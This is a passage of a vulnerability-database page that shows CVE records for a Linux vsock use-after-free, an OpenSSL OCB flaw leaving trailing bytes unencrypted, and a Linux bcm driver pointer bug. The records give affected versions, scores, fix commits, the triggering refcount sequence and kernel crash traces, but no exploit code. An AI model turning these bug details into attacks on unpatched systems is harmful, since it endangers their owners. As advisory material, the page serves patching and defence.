Linux	Linux	Affected: c0cfa2d8a788fcf45df5bf4070ab2474c88d543a , < e7754d564579a5db9c5c9f74228df5d6dd6f1173 (git) Affected: c0cfa2d8a788fcf45df5bf4070ab2474c88d543a , < e48fcb403c2d0e574c19683f09399ab4cf67809c (git) Affected: c0cfa2d8a788fcf45df5bf4070ab2474c88d543a , < 42b33381e5e1f2b967dc4fb4221ddb9aaf10d197 (git) Affected: c0cfa2d8a788fcf45df5bf4070ab2474c88d543a , < 3f43540166128951cc1be7ab1ce6b7f05c670d8b (git) Affected: c0cfa2d8a788fcf45df5bf4070ab2474c88d543a , < 645ce25aa0e67895b11d89f27bb86c9d444c40f8 (git) Affected: c0cfa2d8a788fcf45df5bf4070ab2474c88d543a , < b1afd40321f1c243cffbcf40ea7ca41aca87fa5e (git) Affected: c0cfa2d8a788fcf45df5bf4070ab2474c88d543a , < fcdd2242c0231032fc84e1404315c245ae56322a (git)
Linux	Linux	Affected: 5.5 Unaffected: 0 , < 5.5 (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.131 , ≤ 6.1.* (semver) Unaffected: 6.6.79 , ≤ 6.6.* (semver) Unaffected: 6.12.16 , ≤ 6.12.* (semver) Unaffected: 6.13.4 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2025-21756",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-08-14T21:01:56.187542Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-416",
                "description": "CWE-416 Use After Free",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-08-14T21:02:02.327Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:37:01.186Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00045.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:38.123Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-082556.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/vmw_vsock/af_vsock.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "e7754d564579a5db9c5c9f74228df5d6dd6f1173",
              "status": "affected",
              "version": "c0cfa2d8a788fcf45df5bf4070ab2474c88d543a",
              "versionType": "git"
            },
            {
              "lessThan": "e48fcb403c2d0e574c19683f09399ab4cf67809c",
              "status": "affected",
              "version": "c0cfa2d8a788fcf45df5bf4070ab2474c88d543a",
              "versionType": "git"
            },
            {
              "lessThan": "42b33381e5e1f2b967dc4fb4221ddb9aaf10d197",
              "status": "affected",
              "version": "c0cfa2d8a788fcf45df5bf4070ab2474c88d543a",
              "versionType": "git"
            },
            {
              "lessThan": "3f43540166128951cc1be7ab1ce6b7f05c670d8b",
              "status": "affected",
              "version": "c0cfa2d8a788fcf45df5bf4070ab2474c88d543a",
              "versionType": "git"
            },
            {
              "lessThan": "645ce25aa0e67895b11d89f27bb86c9d444c40f8",
              "status": "affected",
              "version": "c0cfa2d8a788fcf45df5bf4070ab2474c88d543a",
              "versionType": "git"
            },
            {
              "lessThan": "b1afd40321f1c243cffbcf40ea7ca41aca87fa5e",
              "status": "affected",
              "version": "c0cfa2d8a788fcf45df5bf4070ab2474c88d543a",
              "versionType": "git"
            },
            {
              "lessThan": "fcdd2242c0231032fc84e1404315c245ae56322a",
              "status": "affected",
              "version": "c0cfa2d8a788fcf45df5bf4070ab2474c88d543a",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/vmw_vsock/af_vsock.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.5"
            },
            {
              "lessThan": "5.5",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.131",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.79",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.16",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.131",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.79",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.16",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.4",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nvsock: Keep the binding until socket destruction\n\nPreserve sockets bindings; this includes both resulting from an explicit\nbind() and those implicitly bound through autobind during connect().\n\nPrevents socket unbinding during a transport reassignment, which fixes a\nuse-after-free:\n\n    1. vsock_create() (refcnt=1) calls vsock_insert_unbound() (refcnt=2)\n    2. transport-\u003erelease() calls vsock_remove_bound() without checking if\n       sk was bound and moved to bound list (refcnt=1)\n    3. vsock_bind() assumes sk is in unbound list and before\n       __vsock_insert_bound(vsock_bound_sockets()) calls\n       __vsock_remove_bound() which does:\n           list_del_init(\u0026vsk-\u003ebound_table); // nop\n           sock_put(\u0026vsk-\u003esk);               // refcnt=0\n\nBUG: KASAN: slab-use-after-free in __vsock_bind+0x62e/0x730\nRead of size 4 at addr ffff88816b46a74c by task a.out/2057\n dump_stack_lvl+0x68/0x90\n print_report+0x174/0x4f6\n kasan_report+0xb9/0x190\n __vsock_bind+0x62e/0x730\n vsock_bind+0x97/0xe0\n __sys_bind+0x154/0x1f0\n __x64_sys_bind+0x6e/0xb0\n do_syscall_64+0x93/0x1b0\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\nAllocated by task 2057:\n kasan_save_stack+0x1e/0x40\n kasan_save_track+0x10/0x30\n __kasan_slab_alloc+0x85/0x90\n kmem_cache_alloc_noprof+0x131/0x450\n sk_prot_alloc+0x5b/0x220\n sk_alloc+0x2c/0x870\n __vsock_create.constprop.0+0x2e/0xb60\n vsock_create+0xe4/0x420\n __sock_create+0x241/0x650\n __sys_socket+0xf2/0x1a0\n __x64_sys_socket+0x6e/0xb0\n do_syscall_64+0x93/0x1b0\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\nFreed by task 2057:\n kasan_save_stack+0x1e/0x40\n kasan_save_track+0x10/0x30\n kasan_save_free_info+0x37/0x60\n __kasan_slab_free+0x4b/0x70\n kmem_cache_free+0x1a1/0x590\n __sk_destruct+0x388/0x5a0\n __vsock_bind+0x5e1/0x730\n vsock_bind+0x97/0xe0\n __sys_bind+0x154/0x1f0\n __x64_sys_bind+0x6e/0xb0\n do_syscall_64+0x93/0x1b0\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\nrefcount_t: addition on 0; use-after-free.\nWARNING: CPU: 7 PID: 2057 at lib/refcount.c:25 refcount_warn_saturate+0xce/0x150\nRIP: 0010:refcount_warn_saturate+0xce/0x150\n __vsock_bind+0x66d/0x730\n vsock_bind+0x97/0xe0\n __sys_bind+0x154/0x1f0\n __x64_sys_bind+0x6e/0xb0\n do_syscall_64+0x93/0x1b0\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\nrefcount_t: underflow; use-after-free.\nWARNING: CPU: 7 PID: 2057 at lib/refcount.c:28 refcount_warn_saturate+0xee/0x150\nRIP: 0010:refcount_warn_saturate+0xee/0x150\n vsock_remove_bound+0x187/0x1e0\n __vsock_release+0x383/0x4a0\n vsock_release+0x90/0x120\n __sock_release+0xa3/0x250\n sock_close+0x14/0x20\n __fput+0x359/0xa80\n task_work_run+0x107/0x1d0\n do_exit+0x847/0x2560\n do_group_exit+0xb8/0x250\n __x64_sys_exit_group+0x3a/0x50\n x64_sys_call+0xfec/0x14f0\n do_syscall_64+0x93/0x1b0\n entry_SYSCALL_64_after_hwframe+0x76/0x7e"
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:05:48.417Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/e7754d564579a5db9c5c9f74228df5d6dd6f1173"
        },
        {
          "url": "https://git.kernel.org/stable/c/e48fcb403c2d0e574c19683f09399ab4cf67809c"
        },
        {
          "url": "https://git.kernel.org/stable/c/42b33381e5e1f2b967dc4fb4221ddb9aaf10d197"
        },
        {
          "url": "https://git.kernel.org/stable/c/3f43540166128951cc1be7ab1ce6b7f05c670d8b"
        },
        {
          "url": "https://git.kernel.org/stable/c/645ce25aa0e67895b11d89f27bb86c9d444c40f8"
        },
        {
          "url": "https://git.kernel.org/stable/c/b1afd40321f1c243cffbcf40ea7ca41aca87fa5e"
        },
        {
          "url": "https://git.kernel.org/stable/c/fcdd2242c0231032fc84e1404315c245ae56322a"
        }
      ],
      "title": "vsock: Keep the binding until socket destruction",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21756",
    "datePublished": "2025-02-27T02:18:11.547Z",
    "dateReserved": "2024-12-29T08:45:45.760Z",
    "dateUpdated": "2026-05-12T12:03:38.123Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-69418 (GCVE-0-2025-69418)

Vulnerability from cvelistv5 – Published: 2026-01-27 16:01 – Updated: 2026-05-12 12:08

Title

Unauthenticated/unencrypted trailing bytes with low-level OCB function calls

Summary

Issue summary: When using the low-level OCB API directly with AES-NI or other hardware-accelerated code paths, inputs whose length is not a multiple of 16 bytes can leave the final partial block unencrypted and unauthenticated. Impact summary: The trailing 1-15 bytes of a message may be exposed in cleartext on encryption and are not covered by the authentication tag, allowing an attacker to read or tamper with those bytes without detection. The low-level OCB encrypt and decrypt routines in the hardware-accelerated stream path process full 16-byte blocks but do not advance the input/output pointers. The subsequent tail-handling code then operates on the original base pointers, effectively reprocessing the beginning of the buffer while leaving the actual trailing bytes unprocessed. The authentication checksum also excludes the true tail bytes. However, typical OpenSSL consumers using EVP are not affected because the higher-level EVP and provider OCB implementations split inputs so that full blocks and trailing partial blocks are processed in separate calls, avoiding the problematic code path. Additionally, TLS does not use OCB ciphersuites. The vulnerability only affects applications that call the low-level CRYPTO_ocb128_encrypt() or CRYPTO_ocb128_decrypt() functions directly with non-block-aligned lengths in a single call on hardware-accelerated builds. For these reasons the issue was assessed as Low severity. The FIPS modules in 3.6, 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as OCB mode is not a FIPS-approved algorithm. OpenSSL 3.6, 3.5, 3.4, 3.3, 3.0 and 1.1.1 are vulnerable to this issue. OpenSSL 1.0.2 is not affected by this issue.

Severity ?

No CVSS data available.

CWE

CWE-325 - Missing Cryptographic Step

Assigner

openssl

References

6 references

URL	Tags
https://openssl-library.org/news/secadv/20260127.txt	vendor-advisory
https://github.com/openssl/openssl/commit/ed40856…	patch
https://github.com/openssl/openssl/commit/4016975…	patch
https://github.com/openssl/openssl/commit/372fc5c…	patch
https://github.com/openssl/openssl/commit/a758923…	patch
https://github.com/openssl/openssl/commit/52d23c8…	patch

Impacted products

1 product

Vendor	Product	Version
OpenSSL	OpenSSL	Affected: 3.6.0 , < 3.6.1 (semver) Affected: 3.5.0 , < 3.5.5 (semver) Affected: 3.4.0 , < 3.4.4 (semver) Affected: 3.3.0 , < 3.3.6 (semver) Affected: 3.0.0 , < 3.0.19 (semver) Affected: 1.1.1 , < 1.1.1ze (custom)

Date Public ?

2026-01-27 14:00

Credits

Stanislav Fort (Aisle Research) Stanislav Fort (Aisle Research)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "HIGH",
              "attackVector": "LOCAL",
              "availabilityImpact": "NONE",
              "baseScore": 4,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "LOW",
              "integrityImpact": "LOW",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2025-69418",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-01-29T15:06:43.617751Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-01-29T15:07:14.052Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:08:40.794Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "OpenSSL",
          "vendor": "OpenSSL",
          "versions": [
            {
              "lessThan": "3.6.1",
              "status": "affected",
              "version": "3.6.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.5.5",
              "status": "affected",
              "version": "3.5.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.4.4",
              "status": "affected",
              "version": "3.4.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.3.6",
              "status": "affected",
              "version": "3.3.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.0.19",
              "status": "affected",
              "version": "3.0.0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.1.1ze",
              "status": "affected",
              "version": "1.1.1",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "Stanislav Fort (Aisle Research)"
        },
        {
          "lang": "en",
          "type": "remediation developer",
          "value": "Stanislav Fort (Aisle Research)"
        }
      ],
      "datePublic": "2026-01-27T14:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Issue summary: When using the low-level OCB API directly with AES-NI or\u003cbr\u003eother hardware-accelerated code paths, inputs whose length is not a multiple\u003cbr\u003eof 16 bytes can leave the final partial block unencrypted and unauthenticated.\u003cbr\u003e\u003cbr\u003eImpact summary: The trailing 1-15 bytes of a message may be exposed in\u003cbr\u003ecleartext on encryption and are not covered by the authentication tag,\u003cbr\u003eallowing an attacker to read or tamper with those bytes without detection.\u003cbr\u003e\u003cbr\u003eThe low-level OCB encrypt and decrypt routines in the hardware-accelerated\u003cbr\u003estream path process full 16-byte blocks but do not advance the input/output\u003cbr\u003epointers. The subsequent tail-handling code then operates on the original\u003cbr\u003ebase pointers, effectively reprocessing the beginning of the buffer while\u003cbr\u003eleaving the actual trailing bytes unprocessed. The authentication checksum\u003cbr\u003ealso excludes the true tail bytes.\u003cbr\u003e\u003cbr\u003eHowever, typical OpenSSL consumers using EVP are not affected because the\u003cbr\u003ehigher-level EVP and provider OCB implementations split inputs so that full\u003cbr\u003eblocks and trailing partial blocks are processed in separate calls, avoiding\u003cbr\u003ethe problematic code path. Additionally, TLS does not use OCB ciphersuites.\u003cbr\u003eThe vulnerability only affects applications that call the low-level\u003cbr\u003eCRYPTO_ocb128_encrypt() or CRYPTO_ocb128_decrypt() functions directly with\u003cbr\u003enon-block-aligned lengths in a single call on hardware-accelerated builds.\u003cbr\u003eFor these reasons the issue was assessed as Low severity.\u003cbr\u003e\u003cbr\u003eThe FIPS modules in 3.6, 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected\u003cbr\u003eby this issue, as OCB mode is not a FIPS-approved algorithm.\u003cbr\u003e\u003cbr\u003eOpenSSL 3.6, 3.5, 3.4, 3.3, 3.0 and 1.1.1 are vulnerable to this issue.\u003cbr\u003e\u003cbr\u003eOpenSSL 1.0.2 is not affected by this issue."
            }
          ],
          "value": "Issue summary: When using the low-level OCB API directly with AES-NI or\u003cbr\u003eother hardware-accelerated code paths, inputs whose length is not a multiple\u003cbr\u003eof 16 bytes can leave the final partial block unencrypted and unauthenticated.\u003cbr\u003e\u003cbr\u003eImpact summary: The trailing 1-15 bytes of a message may be exposed in\u003cbr\u003ecleartext on encryption and are not covered by the authentication tag,\u003cbr\u003eallowing an attacker to read or tamper with those bytes without detection.\u003cbr\u003e\u003cbr\u003eThe low-level OCB encrypt and decrypt routines in the hardware-accelerated\u003cbr\u003estream path process full 16-byte blocks but do not advance the input/output\u003cbr\u003epointers. The subsequent tail-handling code then operates on the original\u003cbr\u003ebase pointers, effectively reprocessing the beginning of the buffer while\u003cbr\u003eleaving the actual trailing bytes unprocessed. The authentication checksum\u003cbr\u003ealso excludes the true tail bytes.\u003cbr\u003e\u003cbr\u003eHowever, typical OpenSSL consumers using EVP are not affected because the\u003cbr\u003ehigher-level EVP and provider OCB implementations split inputs so that full\u003cbr\u003eblocks and trailing partial blocks are processed in separate calls, avoiding\u003cbr\u003ethe problematic code path. Additionally, TLS does not use OCB ciphersuites.\u003cbr\u003eThe vulnerability only affects applications that call the low-level\u003cbr\u003eCRYPTO_ocb128_encrypt() or CRYPTO_ocb128_decrypt() functions directly with\u003cbr\u003enon-block-aligned lengths in a single call on hardware-accelerated builds.\u003cbr\u003eFor these reasons the issue was assessed as Low severity.\u003cbr\u003e\u003cbr\u003eThe FIPS modules in 3.6, 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected\u003cbr\u003eby this issue, as OCB mode is not a FIPS-approved algorithm.\u003cbr\u003e\u003cbr\u003eOpenSSL 3.6, 3.5, 3.4, 3.3, 3.0 and 1.1.1 are vulnerable to this issue.\u003cbr\u003e\u003cbr\u003eOpenSSL 1.0.2 is not affected by this issue."
        }
      ],
      "metrics": [
        {
          "format": "other",
          "other": {
            "content": {
              "text": "Low"
            },
            "type": "https://openssl-library.org/policies/general/security-policy/"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-325",
              "description": "CWE-325 Missing Cryptographic Step",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-01-27T16:01:23.986Z",
        "orgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
        "shortName": "openssl"
      },
      "references": [
        {
          "name": "OpenSSL Advisory",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://openssl-library.org/news/secadv/20260127.txt"
        },
        {
          "name": "3.6.1 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/ed40856d7d4ba6cb42779b6770666a65f19cb977"
        },
        {
          "name": "3.5.5 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/4016975d4469cd6b94927c607f7c511385f928d8"
        },
        {
          "name": "3.4.4 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/372fc5c77529695b05b4f5b5187691a57ef5dffc"
        },
        {
          "name": "3.3.6 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/a7589230356d908c0eca4b969ec4f62106f4f5ae"
        },
        {
          "name": "3.0.19 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/52d23c86a54adab5ee9f80e48b242b52c4cc2347"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "Unauthenticated/unencrypted trailing bytes with low-level OCB function calls",
      "x_generator": {
        "engine": "Vulnogram 0.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
    "assignerShortName": "openssl",
    "cveId": "CVE-2025-69418",
    "datePublished": "2026-01-27T16:01:23.986Z",
    "dateReserved": "2026-01-06T12:44:09.945Z",
    "dateUpdated": "2026-05-12T12:08:40.794Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-38579 (GCVE-0-2024-38579)

Vulnerability from cvelistv5 – Published: 2024-06-19 13:37 – Updated: 2026-05-12 11:54

Title

crypto: bcm - Fix pointer arithmetic

Summary

In the Linux kernel, the following vulnerability has been resolved: crypto: bcm - Fix pointer arithmetic In spu2_dump_omd() value of ptr is increased by ciph_key_len instead of hash_iv_len which could lead to going beyond the buffer boundaries. Fix this bug by changing ciph_key_len to hash_iv_len. Found by Linux Verification Center (linuxtesting.org) with SVACE.

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/c256b616067bfd6d2…
https://git.kernel.org/stable/c/e719c8991c161977a…
https://git.kernel.org/stable/c/ebed0d666fa709bae…
https://git.kernel.org/stable/c/c69a1e4b419c2c466…
https://git.kernel.org/stable/c/49833a8da6407e7e9…
https://git.kernel.org/stable/c/d0f14ae223c2421b3…
https://git.kernel.org/stable/c/c0082ee420639a97e…
https://git.kernel.org/stable/c/3b7a40740f04e2f27…
https://git.kernel.org/stable/c/2b3460cbf454c6b03…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 9d12ba86f818aa9cfe9f01b750336aa441f2ffa2 , < c256b616067bfd6d274c679c06986b78d2402434 (git) Affected: 9d12ba86f818aa9cfe9f01b750336aa441f2ffa2 , < e719c8991c161977a67197775067ab456b518c7b (git) Affected: 9d12ba86f818aa9cfe9f01b750336aa441f2ffa2 , < ebed0d666fa709bae9e8cafa8ec6e7ebd1d318c6 (git) Affected: 9d12ba86f818aa9cfe9f01b750336aa441f2ffa2 , < c69a1e4b419c2c466dd8c5602bdebadc353973dd (git) Affected: 9d12ba86f818aa9cfe9f01b750336aa441f2ffa2 , < 49833a8da6407e7e9b532cc4054fdbcaf78f5fdd (git) Affected: 9d12ba86f818aa9cfe9f01b750336aa441f2ffa2 , < d0f14ae223c2421b334c1f1a9e48f1e809aee3a0 (git) Affected: 9d12ba86f818aa9cfe9f01b750336aa441f2ffa2 , < c0082ee420639a97e40cae66778b02b341b005e5 (git) Affected: 9d12ba86f818aa9cfe9f01b750336aa441f2ffa2 , < 3b7a40740f04e2f27114dfd6225c5e721dda9d57 (git) Affected: 9d12ba86f818aa9cfe9f01b750336aa441f2ffa2 , < 2b3460cbf454c6b03d7429e9ffc4fe09322eb1a9 (git)
Linux	Linux	Affected: 4.11 Unaffected: 0 , < 4.11 (semver) Unaffected: 4.19.316 , ≤ 4.19.* (semver) Unaffected: 5.4.278 , ≤ 5.4.* (semver) Unaffected: 5.10.219 , ≤ 5.10.* (semver) Unaffected: 5.15.161 , ≤ 5.15.* (semver) Unaffected: 6.1.93 , ≤ 6.1.* (semver) Unaffected: 6.6.33 , ≤ 6.6.* (semver) Unaffected: 6.8.12 , ≤ 6.8.* (semver) Unaffected: 6.9.3 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-04T17:21:33.961Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c256b616067bfd6d274c679c06986b78d2402434"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e719c8991c161977a67197775067ab456b518c7b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ebed0d666fa709bae9e8cafa8ec6e7ebd1d318c6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c69a1e4b419c2c466dd8c5602bdebadc353973dd"
          },
          {
            "tags": [
              "x_transferred"
            ],
